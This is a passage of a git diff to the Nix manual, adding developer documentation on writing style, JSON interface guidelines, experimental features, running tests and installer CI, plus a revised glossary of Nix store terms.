guidelines](https://www.plainlanguage.gov/guidelines/) for details. + +- Describe the subject factually. + + In particular, do not make value judgements or recommendations. + Check the code or add tests if in doubt. + +- Provide complete, minimal examples, and explain them. + + Readers should be able to try examples verbatim and get the same results as shown in the manual. + Always describe in words what a given example does. + + Non-trivial examples may need additional explanation, especially if they use concepts from outside the given context. + +- Always explain code examples in the text. + + Use comments in code samples very sparingly, for instance to highlight a particular aspect. + Readers tend to glance over large amounts of code when scanning for information. + + Especially beginners will likely find reading more complex-looking code strenuous and may therefore avoid it altogether. + + If a code sample appears to require a lot of inline explanation, consider replacing it with a simpler one. + If that's not possible, break the example down into multiple parts, explain them separately, and then show the combined result at the end. + This should be a last resort, as that would amount to writing a [tutorial](https://diataxis.fr/tutorials/) on the given subject. + +- Use British English. + + This is a somewhat arbitrary choice to force consistency, and accounts for the fact that a majority of Nix users and developers are from Europe. + +### Links and anchors + +Reference documentation must be readable in arbitrary order. +Readers cannot be expected to have any particular prerequisite knowledge about Nix. +While the table of contents can provide guidance and full-text search can help, they are most likely to find what they need by following sensible cross-references. + +- Link to technical terms + + When mentioning Nix-specific concepts, commands, options, settings, etc., link to appropriate documentation. + Also link to external tools or concepts, especially if their meaning may be ambiguous. + You may also want to link to definitions of less common technical terms. + + Then readers won't have to actively search for definitions and are more likely to discover relevant information on their own. + + > **Note** + > + > `man` and `--help` pages don't display links. + > Use appropriate link texts such that readers of terminal output can infer search terms. + +- Do not break existing URLs between releases. + + There are countless links in the wild pointing to old versions of the manual. + We want people to find up-to-date documentation when following popular advice. + + - When moving files, update [redirects on nixos.org](https://github.com/NixOS/nixos-homepage/blob/master/netlify.toml). + + This is especially important when moving information out of the Nix manual to other resources. + + - When changing anchors, update [client-side redirects](https://github.com/NixOS/nix/blob/master/doc/manual/redirects.js) + + The current setup is cumbersome, and help making better automation is appreciated. + +The build checks for broken internal links with. +This happens late in the process, so [building the whole manual](#building-the-manual) is not suitable for iterating quickly. +[`mdbook-linkcheck`] does not implement checking [URI fragments] yet. + +[`mdbook-linkcheck`]: https://github.com/Michael-F-Bryan/mdbook-linkcheck +[URI fragments]: https://en.wikipedia.org/wiki/URI_fragment + +### Markdown conventions + +The manual is written in markdown, and rendered with [mdBook](https://github.com/rust-lang/mdBook) for the web and with [lowdown](https://github.com/kristapsdz/lowdown) for `man` pages and `--help` output. + +For supported markdown features, refer to: +- [mdBook documentation](https://rust-lang.github.io/mdBook/format/markdown.html) +- [lowdown documentation](https://kristaps.bsd.lv/lowdown/) + +Please observe these guidelines to ease reviews: + +- Write one sentence per line. + + This makes long sentences immediately visible, and makes it easier to review changes and make direct suggestions. + +- Use reference links – sparingly – to ease source readability. + Put definitions close to their first use. + + Example: + + ``` + A [store object] contains a [file system object] and [references] to other store objects. + + [store object]: @docroot@/store/store-object.md + [file system object]: @docroot@/architecture/file-system-object.md + [references]: @docroot@/glossary.md#gloss-reference + ``` + +- Use admonitions of the following form: + + ``` + > **Note** + > + > This is a note. + ``` + + Highlight examples as such: + + ```` + > **Example** + > + > ```console + > $ nix --version + > ``` + ```` + + Highlight syntax definitions as such, using [EBNF](https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form) notation: + + ```` + > **Syntax** + > + > *attribute-set* = `{` [ *attribute-name* `=` *expression* `;` ... ] `}` + ```` + +### The `@docroot@` variable + +`@docroot@` provides a base path for links that occur in reusable snippets or other documentation that doesn't have a base path of its own. + +If a broken link occurs in a snippet that was inserted into multiple generated files in different directories, use `@docroot@` to reference the `doc/manual/src` directory. + +If the `@docroot@` literal appears in an error message from the [`mdbook-linkcheck`] tool, the `@docroot@` replacement needs to be applied to the generated source file that mentions it. +See existing `@docroot@` logic in the [Makefile for the manual]. +Regular markdown files used for the manual have a base path of their own and they can use relative paths instead of `@docroot@`. + +## API documentation + +[Doxygen API documentation] is available online. +You can also build and view it yourself: + +[Doxygen API documentation]: https://hydra.nixos.org/job/nix/master/internal-api-docs/latest/download-by-type/doc/internal-api-docs + +```console +$ nix build .#hydraJobs.internal-api-docs +$ xdg-open ./result/share/doc/nix/internal-api/html/index.html +``` + +or inside `nix-shell` or `nix develop`: + +```console +$ mesonConfigurePhase +$ ninja src/internal-api-docs/html +$ xdg-open src/internal-api-docs/html/index.html +``` + +## C API documentation + +Note that the C API is not yet stable. +[C API documentation] is available online. +You can also build and view it yourself: + +[C API documentation]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs + +```console +$ nix build .#hydraJobs.external-api-docs +$ xdg-open ./result/share/doc/nix/external-api/html/index.html +``` + +or inside `nix-shell` or `nix develop`: + +``` +$ mesonConfigurePhase +$ ninja src/external-api-docs/html +$ xdg-open src/external-api-docs/html/index.html +``` diff --git a/doc/manual/src/development/experimental-features.md b/doc/manual/src/development/experimental-features.md new file mode 100644 index 000000000..ad5cffa91 --- /dev/null +++ b/doc/manual/src/development/experimental-features.md @@ -0,0 +1,95 @@ +This section describes the notion of *experimental features*, and how it fits into the big picture of the development of Nix. + +# What are experimental features? + +Experimental features are considered unstable, which means that they can be changed or removed at any time. +Users must explicitly enable them by toggling the associated [experimental feature flags](@docroot@/command-ref/conf-file.md#conf-experimental-features). +This allows accessing unstable functionality without unwittingly relying on it. + +Experimental feature flags were first introduced in [Nix 2.4](@docroot@/release-notes/rl-2.4.md). +Before that, Nix did have experimental features, but they were not guarded by flags and were merely documented as unstable. +This was a source of confusion and controversy. + +# When should a new feature be marked experimental? + +A change in the Nix codebase should be guarded by an experimental feature flag if it is considered likely to be reverted or adapted in a backwards-incompatible manner after gathering more experience with it in practice. + +Examples: + +- Changes to the Nix language, such as new built-ins, syntactic or semantic changes, etc. +- Changes to the command-line interface + +# Lifecycle of an experimental feature + +Experimental features have to be treated on a case-by-case basis. +However, the standard workflow for an experimental feature is as follows: + +- A new feature is implemented in a *pull request* + - It is guarded by an experimental feature flag that is disabled by default +- The pull request is merged, the *experimental* feature ends up in a release + - Using the feature requires explicitly enabling it, signifying awareness of the potential risks + - Being experimental, the feature can still be changed arbitrarily +- The feature can be *removed* + - The associated experimental feature flag is also removed +- The feature can be declared *stable* + - The associated experimental feature flag is removed + - There should be enough evidence of users having tried the feature, such as feedback, fixed bugs, demonstrations of how it is put to use + - Maintainers must feel confident that: + - The feature is designed and implemented sensibly, that it is fit for purpose + - Potential interactions are well-understood + - Stabilising the feature will not incur an outsized maintenance burden in the future + +The following diagram illustrates the process: + +``` + .------. + | idea | + '------' + | + discussion, design, implementation + | + | .-------. + | | | + v v | + .--------------. review + | pull request | | + '--------------' | + | ^ | | + | | '-------' + .---' '----. + | | + merge user feedback, + | (breaking) changes + | | + '---. .----' + | | + v | + +--------------+ + .---| experimental |----. + | +--------------+ | + | | +decision to stabilise decision against + | keeping the feature + | | + v v + +--------+ +---------+ + | stable | | removed | + +--------+ +---------+ +``` + +# Relation to the RFC process + +Experimental features and [RFCs](https://github.com/NixOS/rfcs/) both allow approaching substantial changes while minimizing the risk. +However they serve different purposes: + +- An experimental feature enables developers to iterate on and deliver a new idea without committing to it or requiring a costly long-running fork. + It is primarily an issue of *implementation*, targeting Nix developers and early testers. +- The goal of an RFC is to make explicit all the implications of a change: + Explain why it is wanted, which new use-cases it enables, which interface changes it requires, etc. + It is primarily an issue of *design* and *communication*, targeting the broader community. + +This means that experimental features and RFCs are orthogonal mechanisms, and can be used independently or together as needed. + +# Currently available experimental features + +{{#include ./experimental-feature-descriptions.md}} diff --git a/doc/manual/src/development/index.md b/doc/manual/src/development/index.md new file mode 100644 index 000000000..6403c3e66 --- /dev/null +++ b/doc/manual/src/development/index.md @@ -0,0 +1,8 @@ +# Development + +Nix is developed on GitHub. +Check the [contributing guide](https://github.com/NixOS/nix/blob/master/CONTRIBUTING.md) if you want to get involved. + +This chapter is a collection of guides for making changes to the code and documentation. + +If you're not sure where to start, try to [compile Nix from source](./building.md) and consider [making improvements to documentation](./documentation.md). diff --git a/doc/manual/src/development/json-guideline.md b/doc/manual/src/development/json-guideline.md new file mode 100644 index 000000000..b4bc92af9 --- /dev/null +++ b/doc/manual/src/development/json-guideline.md @@ -0,0 +1,128 @@ +# JSON guideline + +Nix consumes and produces JSON in a variety of contexts. +These guidelines ensure consistent practices for all our JSON interfaces, for ease of use, and so that experience in one part carries over to another. + +## Extensibility + +The schema of JSON input and output should allow for backwards compatible extension. +This section explains how to achieve this. + +Two definitions are helpful here, because while JSON only defines one "key-value" object type, we use it to cover two use cases: + + - **dictionary**: a map from names to value that all have the same type. + In C++ this would be a `std::map` with string keys. + + - **record**: a fixed set of attributes each with their own type. + In C++, this would be represented by a `struct`. + +It is best not to mix these use cases, as that may lead to incompatibilities when the schema changes. +For example, adding a record field to a dictionary breaks consumers that assume all JSON object fields to have the same meaning and type, and dictionary items with a colliding name can not be represented anymore. + +This leads to the following guidelines: + + - The top-level (root) value must be a record. + + Otherwise, one can not change the structure of a command's output. + + - The value of a dictionary item must be a record. + + Otherwise, the item type can not be extended. + + - List items should be records. + + Otherwise, one can not change the structure of the list items. + + If the order of the items does not matter, and each item has a unique key that is a string, consider representing the list as a dictionary instead. + If the order of the items needs to be preserved, return a list of records. + + - Streaming JSON should return records. + + An example of a streaming JSON format is [JSON lines](https://jsonlines.org/), where each line represents a JSON value. + These JSON values can be considered top-level values or list items, and they must be records. + +### Examples + +This is bad, because all keys must be assumed to be store types: + +```json +{ + "local": { ... }, + "remote": { ... }, + "http": { ... } +} +``` + +This is good, because the it is extensible at the root, and is somewhat self-documenting: + +```json +{ + "storeTypes": { "local": { ... }, ... }, + "pluginSupport": true +} +``` + +While the dictionary of store types seems like a very complete response at first, a use case may arise that warrants returning additional information. +For example, the presence of plugin support may be crucial information for a client to proceed when their desired store type is missing. + + + +The following representation is bad because it is not extensible: + +```json +{ "outputs": [ "out" "bin" ] } +``` + +However, simply converting everything to records is not enough, because the order of outputs must be preserved: + +```json +{ "outputs": { "bin": {}, "out": {} } } +``` + +The first item is the default output. Deriving this information from the outputs ordering is not great, but this is how Nix currently happens to work. +While it is possible for a JSON parser to preserve the order of fields, we can not rely on this capability to be present in all JSON libraries. + +This representation is extensible and preserves the ordering: + +```json +{ "outputs": [ { "outputName": "out" }, { "outputName": "bin" } ] } +``` + +## Self-describing values + +As described in the previous section, it's crucial that schemas can be extended with with new fields without breaking compatibility. +However, that should *not* mean we use the presence/absence of fields to indicate optional information *within* a version of the schema. +Instead, always include the field, and use `null` to indicate the "nothing" case. + +### Examples + +Here are two JSON objects: + +```json +{ + "foo": {} +} +``` +```json +{ + "foo": {}, + "bar": {} +} +``` + +Since they differ in which fields they contain, they should *not* both be valid values of the same schema. +At most, they can match two different schemas where the second (with `foo` and `bar`) is considered a newer version of the first (with just `foo`). +Within each version, all fields are mandatory (always `foo`, and always `foo` and `bar`). +Only *between* each version, `bar` gets added as a new mandatory field. + +Here are another two JSON objects: + +```json +{ "foo": null } +``` +```json +{ "foo": { "bar": 1 } } +``` + +Since they both contain a `foo` field, they could be valid values of the same schema. +The schema would have `foo` has an optional field, which is either `null` or an object where `bar` is an integer. diff --git a/doc/manual/src/development/testing.md b/doc/manual/src/development/testing.md new file mode 100644 index 000000000..8b8bc568d --- /dev/null +++ b/doc/manual/src/development/testing.md @@ -0,0 +1,357 @@ +# Running tests + +## Coverage analysis + +A [coverage analysis report] is available online +You can build it yourself: + +[coverage analysis report]: https://hydra.nixos.org/job/nix/master/coverage/latest/download-by-type/report/coverage + +``` +# nix build .#hydraJobs.coverage +# xdg-open ./result/coverage/index.html +``` + +[Extensive records of build metrics](https://hydra.nixos.org/job/nix/master/coverage#tabs-charts), such as test coverage over time, are also available online. + +## Unit-tests + +The unit tests are defined using the [googletest] and [rapidcheck] frameworks. + +[googletest]: https://google.github.io/googletest/ +[rapidcheck]: https://github.com/emil-e/rapidcheck +[property testing]: https://en.wikipedia.org/wiki/Property_testing + +### Source and header layout + +> An example of some files, demonstrating much of what is described below +> +> ``` +> src +> ├── libexpr +> │ ├── local.mk +> │ ├── value/context.hh +> │ ├── value/context.cc +> │ … +> │ +> ├── tests +> │ │ +> │ … +> │ └── unit +> │ ├── libutil +> │ │ ├── local.mk +> │ │ … +> │ │ └── data +> │ │ ├── git/tree.txt +> │ │ … +> │ │ +> │ ├── libexpr-support +> │ │ ├── local.mk +> │ │ └── tests +> │ │ ├── value/context.hh +> │ │ ├── value/context.cc +> │ │ … +> │ │ +> │ ├── libexpr +> │ … ├── local.mk +> │ ├── value/context.cc +> │ … +> … +> ``` + +The tests for each Nix library (`libnixexpr`, `libnixstore`, etc..) live inside a directory `src/${library_name_without-nix}-test`. +Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `src/nix-expr-tests/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `src/nix-expr-test-support/tests/value/context.{hh,cc}`. + +Data for unit tests is stored in a `data` subdir of the directory for each unit test executable. +For example, `libnixstore` code is in `src/libstore`, and its test data is in `src/nix-store-tests/data`. +The path to the `src/${library_name_without-nix}-test/data` directory is passed to the unit test executable with the environment variable `_NIX_TEST_UNIT_DATA`. +Note that each executable only gets the data for its tests. + +The unit test libraries are in `src/${library_name_without-nix}-test-support`. +All headers are in a `tests` subdirectory so they are included with `#include "tests/"`. + +The use of all these separate directories for the unit tests might seem inconvenient, as for example the tests are not "right next to" the part of the code they are testing. +But organizing the tests this way has one big benefit: +there is no risk of any build-system wildcards for the library accidentally picking up test code that should not built and installed as part of the library. + +### Running tests + +You can run the whole testsuite with `meson test` from the Meson build directory, or the tests for a specific component with `meson test nix-store-tests`. +A environment variables that Google Test accepts are also worth knowing: + +1. [`GTEST_FILTER`](https://google.github.io/googletest/advanced.html#running-a-subset-of-the-tests) + + This is used for finer-grained filtering of which tests to run. + + +2. [`GTEST_BRIEF`](https://google.github.io/googletest/advanced.html#suppressing-test-passes) + + This is used to avoid logging passing tests. + +Putting the two together, one might run + +```bash +GTEST_BRIEF=1 GTEST_FILTER='ErrorTraceTest.*' meson test nix-expr-tests -v +``` + +for short but comprensive output. + +### Characterisation testing { #characaterisation-testing-unit } + +See [functional characterisation testing](#characterisation-testing-functional) for a broader discussion of characterisation testing. + +Like with the functional characterisation, `_NIX_TEST_ACCEPT=1` is also used. +For example: +```shell-session +$ _NIX_TEST_ACCEPT=1 meson test nix-store-tests -v +... +[ SKIPPED ] WorkerProtoTest.string_read +[ SKIPPED ] WorkerProtoTest.string_write +[ SKIPPED ] WorkerProtoTest.storePath_read +[ SKIPPED ] WorkerProtoTest.storePath_write +... +``` +will regenerate the "golden master" expected result for the `libnixstore` characterisation tests. +The characterisation tests will mark themselves "skipped" since they regenerated the expected result instead of actually testing anything. + +### Unit test support libraries + +There are headers and code which are not just used to test the library in question, but also downstream libraries. +For example, we do [property testing] with the [rapidcheck] library. +This requires writing `Arbitrary` "instances", which are used to describe how to generate values of a given type for the sake of running property tests. +Because types contain other types, `Arbitrary` "instances" for some type are not just useful for testing that type, but also any other type that contains it. +Downstream types frequently contain upstream types, so it is very important that we share arbitrary instances so that downstream libraries' property tests can also use them. + +It is important that these testing libraries don't contain any actual tests themselves. +On some platforms they would be run as part of every test executable that uses them, which is redundant. +On other platforms they wouldn't be run at all. + +## Functional tests + +The functional tests reside under the `tests/functional` directory and are listed in `tests/functional/local.mk`. +Each test is a bash script. + +Functional tests are run during `installCheck` in the `nix` package build, as well as separately from the build, in VM tests. + +### Running the whole test suite + +The whole test suite (functional and unit tests) can be run with: + +```shell-session +$ mesonCheckPhase +``` + +### Grouping tests + +Sometimes it is useful to group related tests so they can be easily run together without running the entire test suite. +Each test group is in a subdirectory of `tests`. +For example, `tests/functional/ca/meson.build` defines a `ca` test group for content-addressed derivation outputs. + +That test group can be run like this: + +```shell-session +$ meson test --suite ca +ninja: Entering directory `/home/jcericson/src/nix/master/build' +ninja: no work to do. +[1-20/20] 🌑 nix-functional-tests:ca / ca/why-depends 1/20 nix-functional-tests:ca / ca/nix-run OK 0.16s +[2-20/20] 🌒 nix-functional-tests:ca / ca/why-depends 2/20 nix-functional-tests:ca / ca/import-derivation OK 0.17s +``` + +### Running individual tests + +Individual tests can be run with `meson`: + +```shell-session +$ meson test ${testName} +ninja: Entering directory `/home/jcericson/src/nix/master/build' +ninja: no work to do. +1/1 nix-functional-tests:main / ${testName} OK 0.41s + +Ok: 1 +Expected Fail: 0 +Fail: 0 +Unexpected Pass: 0 +Skipped: 0 +Timeout: 0 + +Full log written to /home/jcericson/src/nix/master/build/meson-logs/testlog.txt +``` + +or without `meson`, showing the output: + +```shell-session +$ TEST_NAME=${testName} NIX_REMOTE='' PS4='+(${BASH_SOURCE[0]-$0}:$LINENO) tests/functional/${testName}.sh ++(${testName}.sh:1) foo +output from foo ++(${testName}.sh:2) bar +output from bar +... +``` + +The test script will then be traced with `set -x` and the output displayed as it happens, regardless of whether the test succeeds or fails. + +### Debugging failing functional tests + +When a functional test fails, it usually does so somewhere in the middle of the script. + +To figure out what's wrong, it is convenient to run the test regularly up to the failing `nix` command, and then run that command with a debugger like GDB. + +For example, if the script looks like: + +```bash +foo +nix blah blub +bar +``` +edit it like so: + +```diff + foo +-nix blah blub ++gdb --args nix blah blub + bar +``` + +Then, running the test with `./mk/debug-test.sh` will drop you into GDB once the script reaches that point: + +```shell-session +$ ./mk/debug-test.sh tests/functional/${testName}.sh +... ++ gdb blash blub +GNU gdb (GDB) 12.1 +... +(gdb) +``` + +One can debug the Nix invocation in all the usual ways. +For example, enter `run` to start the Nix invocation. + +### Troubleshooting + +Sometimes running tests in the development shell may leave artefacts in the local repository. +To remove any traces of that: + +```console +git clean -x --force tests +``` + +### Characterisation testing { #characterisation-testing-functional } + +Occasionally, Nix utilizes a technique called [Characterisation Testing](https://en.wikipedia.org/wiki/Characterization_test) as part of the functional tests. +This technique is to include the exact output/behavior of a former version of Nix in a test in order to check that Nix continues to produce the same behavior going forward. + +For example, this technique is used for the language tests, to check both the printed final value if evaluation was successful, and any errors and warnings encountered. + +It is frequently useful to regenerate the expected output. +To do that, rerun the failed test(s) with `_NIX_TEST_ACCEPT=1`. +For example: +```bash +_NIX_TEST_ACCEPT=1 meson test lang +``` +This convention is shared with the [characterisation unit tests](#characterisation-testing-unit) too. + +An interesting situation to document is the case when these tests are "overfitted". +The language tests are, again, an example of this. +The expected successful output of evaluation is supposed to be highly stable – we do not intend to make breaking changes to (the stable parts of) the Nix language. +However, the errors and warnings during evaluation (successful or not) are not stable in this way. +We are free to change how they are displayed at any time. + +It may be surprising that we would test non-normative behavior like diagnostic outputs. +Diagnostic outputs are indeed not a stable interface, but they still are important to users. +By recording the expected output, the test suite guards against accidental changes, and ensure the *result* (not just the code that implements it) of the diagnostic code paths are under code review. +Regressions are caught, and improvements always show up in code review. + +To ensure that characterisation testing doesn't make it harder to intentionally change these interfaces, there always must be an easy way to regenerate the expected output, as we do with `_NIX_TEST_ACCEPT=1`. + +### Running functional tests on NixOS + +We run the functional tests not just in the build, but also in VM tests. +This helps us ensure that Nix works correctly on NixOS, and environments that have similar characteristics that are hard to reproduce in a build environment. + +These can be run with: + +```shell +nix build .#hydraJobs.tests.functional_user +``` + +Generally, this build is sufficient, but in nightly or CI we also test the attributes `functional_root` and `functional_trusted`, in which the test suite is run with different levels of authorization. + +## Integration tests + +The integration tests are defined in the Nix flake under the `hydraJobs.tests` attribute. +These tests include everything that needs to interact with external services or run Nix in a non-trivial distributed setup. +Because these tests are expensive and require more than what the standard github-actions setup provides, they only run on the master branch (on ). + +You can run them manually with `nix build .#hydraJobs.tests.{testName}` or `nix-build -A hydraJobs.tests.{testName}`. + +## Installer tests + +After a one-time setup, the Nix repository's GitHub Actions continuous integration (CI) workflow can test the installer each time you push to a branch. + +Creating a Cachix cache for your installer tests and adding its authorisation token to GitHub enables [two installer-specific jobs in the CI workflow](https://github.com/NixOS/nix/blob/88a45d6149c0e304f6eb2efcc2d7a4d0d569f8af/.github/workflows/ci.yml#L50-L91): + +- The `installer` job generates installers for the platforms below and uploads them to your Cachix cache: + - `x86_64-linux` + - `armv6l-linux` + - `armv7l-linux` + - `x86_64-darwin` + +- The `installer_test` job (which runs on `ubuntu-latest` and `macos-latest`) will try to install Nix with the cached installer and run a trivial Nix command. + +### One-time setup + +1. Have a GitHub account with a fork of the [Nix repository](https://github.com/NixOS/nix). +2. At cachix.org: + - Create or log in to an account. + - Create a Cachix cache using the format `-nix-install-tests`. + - Navigate to the new cache > Settings > Auth Tokens. + - Generate a new Cachix auth token and copy the generated value. +3. At github.com: + - Navigate to your Nix fork > Settings > Secrets > Actions > New repository secret. + - Name the secret `CACHIX_AUTH_TOKEN`. + - Paste the copied value of the Cachix cache auth token. + +## Working on documentation + +### Using the CI-generated installer for manual testing + +After the CI run completes, you can check the output to extract the installer URL: +1. Click into the detailed view of the CI run. +2. Click into any `installer_test` run (the URL you're here to extract will be the same in all of them). +3. Click into the `Run cachix/install-nix-action@v...` step and click the detail triangle next to the first log line (it will also be `Run cachix/install-nix-action@v...`) +4. Copy the value of `install_url` +5. To generate an install command, plug this `install_url` and your GitHub username into this template: + + ```console + curl -L | sh -s -- --tarball-url-prefix https://-nix-install-tests.cachix.org/serve + ``` + + + diff --git a/doc/manual/src/favicon.png b/doc/manual/src/favicon.png new file mode 100644 index 000000000..1ed2b5fe0 Binary files /dev/null and b/doc/manual/src/favicon.png differ diff --git a/doc/manual/src/favicon.svg b/doc/manual/src/favicon.svg new file mode 100644 index 000000000..1d2a6e835 --- /dev/null +++ b/doc/manual/src/favicon.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index aa775b163..877c4668b 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -1,158 +1,359 @@ # Glossary - - [derivation]{#gloss-derivation}\ - A description of a build task. The result of a derivation is a - store object. Derivations are typically specified in Nix expressions - using the [`derivation` primitive](./language/derivations.md). These are - translated into low-level *store derivations* (implicitly by - `nix-env` and `nix-build`, or explicitly by `nix-instantiate`). +- [content address]{#gloss-content-address} - - [content-addressed derivation]{#gloss-content-addressed-derivation}\ - A derivation which has the - [`__contentAddressed`](./language/advanced-attributes.md#adv-attr-__contentAddressed) - attribute set to `true`. + A + [*content address*](https://en.wikipedia.org/wiki/Content-addressable_storage) + is a secure way to reference immutable data. + The reference is calculated directly from the content of the data being referenced, which means the reference is + [*tamper proof*](https://en.wikipedia.org/wiki/Tamperproofing) + --- variations of the data should always calculate to distinct content addresses. - - [fixed-output derivation]{#gloss-fixed-output-derivation}\ - A derivation which includes the - [`outputHash`](./language/advanced-attributes.md#adv-attr-outputHash) attribute. + For how Nix uses content addresses, see: - - [store]{#gloss-store}\ - The location in the file system where store objects live. Typically - `/nix/store`. + - [Content-Addressing File System Objects](@docroot@/store/file-system-object/content-address.md) + - [Content-Addressing Store Objects](@docroot@/store/store-object/content-address.md) + - [content-addressed derivation](#gloss-content-addressed-derivation) - From the perspective of the location where Nix is - invoked, the Nix store can be referred to - as a "_local_" or a "_remote_" one: + Software Heritage's writing on [*Intrinsic and Extrinsic identifiers*](https://www.softwareheritage.org/2020/07/09/intrinsic-vs-extrinsic-identifiers) is also a good introduction to the value of content-addressing over other referencing schemes. - + A *local store* exists on the filesystem of - the machine where Nix is invoked. You can use other - local stores by passing the `--store` flag to the - `nix` command. Local stores can be used for building derivations. + Besides content addressing, the Nix store also uses [input addressing](#gloss-input-addressed-store-object). - + A *remote store* exists anywhere other than the - local filesystem. One example is the `/nix/store` - directory on another machine, accessed via `ssh` or - served by the `nix-serve` Perl script. +- [derivation]{#gloss-derivation} - - [chroot store]{#gloss-chroot-store}\ - A local store whose canonical path is anything other than `/nix/store`. + A description of a build task. The result of a derivation is a + store object. Derivations declared in Nix expressions are specified + using the [`derivation` primitive](./language/derivations.md). These are + translated into low-level *store derivations* (implicitly by + `nix-build`, or explicitly by `nix-instantiate`). - - [binary cache]{#gloss-binary-cache}\ - A *binary cache* is a Nix store which uses a different format: its - metadata and signatures are kept in `.narinfo` files rather than in a - Nix database. This different format simplifies serving store objects - over the network, but cannot host builds. Examples of binary caches - include S3 buckets and the [NixOS binary - cache](https://cache.nixos.org). + [derivation]: #gloss-derivation - - [store path]{#gloss-store-path}\ - The location in the file system of a store object, i.e., an - immediate child of the Nix store directory. +- [store derivation]{#gloss-store-derivation} - - [store object]{#gloss-store-object}\ - A file that is an immediate child of the Nix store directory. These - can be regular files, but also entire directory trees. Store objects - can be sources (objects copied from outside of the store), - derivation outputs (objects produced by running a build task), or - derivations (files describing a build task). + A [derivation] represented as a `.drv` file in the [store]. + It has a [store path], like any [store object]. + It is the [instantiated][instantiate] form of a derivation. - - [input-addressed store object]{#gloss-input-addressed-store-object}\ - A store object produced by building a - non-[content-addressed](#gloss-content-addressed-derivation), - non-[fixed-output](#gloss-fixed-output-derivation) - derivation. + Example: `/nix/store/g946hcz4c8mdvq2g8vxx42z51qb71rvp-git-2.38.1.drv` - - [output-addressed store object]{#gloss-output-addressed-store-object}\ - A store object whose store path hashes its content. This - includes derivations, the outputs of - [content-addressed derivations](#gloss-content-addressed-derivation), - and the outputs of - [fixed-output derivations](#gloss-fixed-output-derivation). + See [`nix derivation show`](./command-ref/new-cli/nix3-derivation-show.md) (experimental) for displaying the contents of store derivations. - - [substitute]{#gloss-substitute}\ - A substitute is a command invocation stored in the Nix database that - describes how to build a store object, bypassing the normal build - mechanism (i.e., derivations). Typically, the substitute builds the - store object by downloading a pre-built version of the store object - from some server. + [store derivation]: #gloss-store-derivation - - [substituter]{#gloss-substituter}\ - A *substituter* is an additional store from which Nix will - copy store objects it doesn't have. For details, see the - [`substituters` option](./command-ref/conf-file.md#conf-substituters). +- [instantiate]{#gloss-instantiate}, instantiation - - [purity]{#gloss-purity}\ - The assumption that equal Nix derivations when run always produce - the same output. This cannot be guaranteed in general (e.g., a - builder can rely on external inputs such as the network or the - system time) but the Nix model assumes it. + Save an evaluated [derivation] as a [store derivation] in the Nix [store]. - - [Nix expression]{#gloss-nix-expression}\ - A high-level description of software packages and compositions + See [`nix-instantiate`](./command-ref/nix-instantiate.md), which produces a store derivation from a Nix expression that evaluates to a derivation. + + [instantiate]: #gloss-instantiate + +- [realise]{#gloss-realise}, realisation + + Ensure a [store path] is [valid][validity]. + + This can be achieved by: + - Fetching a pre-built [store object] from a [substituter] + - Running the [`builder`](@docroot@/language/derivations.md#attr-builder) executable as specified in the corresponding [derivation] + - Delegating to a [remote machine](@docroot@/command-ref/conf-file.md#conf-builders) and retrieving the outputs + + + See [`nix-store --realise`](@docroot@/command-ref/nix-store/realise.md) for a detailed description of the algorithm. + + See also [`nix-build`](./command-ref/nix-build.md) and [`nix build`](./command-ref/new-cli/nix3-build.md) (experimental). + + [realise]: #gloss-realise + +- [content-addressed derivation]{#gloss-content-addressed-derivation} + + A derivation which has the + [`__contentAddressed`](./language/advanced-attributes.md#adv-attr-__contentAddressed) + attribute set to `true`. + +- [fixed-output derivation]{#gloss-fixed-output-derivation} (FOD) + + A [derivation] where a cryptographic hash of the [output] is determined in advance using the [`outputHash`](./language/advanced-attributes.md#adv-attr-outputHash) attribute, and where the [`builder`](@docroot@/language/derivations.md#attr-builder) executable has access to the network. + +- [store]{#gloss-store} + + A collection of [store objects][store object], with operations to manipulate that collection. + See [Nix Store](./store/index.md) for details. + + There are many types of stores, see [Store Types](./store/types/index.md) for details. + + [store]: #gloss-store + +- [binary cache]{#gloss-binary-cache} + + A *binary cache* is a Nix store which uses a different format: its + metadata and signatures are kept in `.narinfo` files rather than in a + [Nix database]. This different format simplifies serving store objects + over the network, but cannot host builds. Examples of binary caches + include S3 buckets and the [NixOS binary cache](https://cache.nixos.org). + +- [store path]{#gloss-store-path} + + The location of a [store object] in the file system, i.e., an immediate child of the Nix store directory. + + > **Example** + > + > `/nix/store/a040m110amc4h71lds2jmr8qrkj2jhxd-git-2.38.1` + + See [Store Path](@docroot@/store/store-path.md) for details. + + [store path]: #gloss-store-path + +- [file system object]{#gloss-file-system-object} + + The Nix data model for representing simplified file system data. + + See [File System Object](@docroot@/store/file-system-object.md) for details. + + [file system object]: #gloss-file-system-object + +- [store object]{#gloss-store-object} + + Part of the contents of a [store]. + + A store object consists of a [file system object], [references][reference] to other store objects, and other metadata. + It can be referred to by a [store path]. + + See [Store Object](@docroot@/store/index.md#store-object) for details. + + [store object]: #gloss-store-object + +- [IFD]{#gloss-ifd} + + [Import From Derivation](./language/import-from-derivation.md) + +- [input-addressed store object]{#gloss-input-addressed-store-object} + + A store object produced by building a + non-[content-addressed](#gloss-content-addressed-derivation), + non-[fixed-output](#gloss-fixed-output-derivation) + derivation. + +- [content-addressed store object]{#gloss-content-addressed-store-object} + + A [store object] which is [content-addressed](#gloss-content-address), + i.e. whose [store path] is determined by its contents. + This includes derivations, the outputs of [content-addressed derivations](#gloss-content-addressed-derivation), and the outputs of [fixed-output derivations](#gloss-fixed-output-derivation). + + See [Content-Addressing Store Objects](@docroot@/store/store-object/content-address.md) for details. + +- [substitute]{#gloss-substitute} + + A substitute is a command invocation stored in the [Nix database] that + describes how to build a store object, bypassing the normal build + mechanism (i.e., derivations). Typically, the substitute builds the + store object by downloading a pre-built version of the store object + from some server. + +- [substituter]{#gloss-substituter} + + An additional [store]{#gloss-store} from which Nix can obtain store objects instead of building them. + Often the substituter is a [binary cache](#gloss-binary-cache), but any store can serve as substituter. + + See the [`substituters` configuration option](./command-ref/conf-file.md#conf-substituters) for details. + + [substituter]: #gloss-substituter + +- [purity]{#gloss-purity} + + The assumption that equal Nix derivations when run always produce + the same output. This cannot be guaranteed in general (e.g., a + builder can rely on external inputs such as the network or the + system time) but the Nix model assumes it. + +- [impure 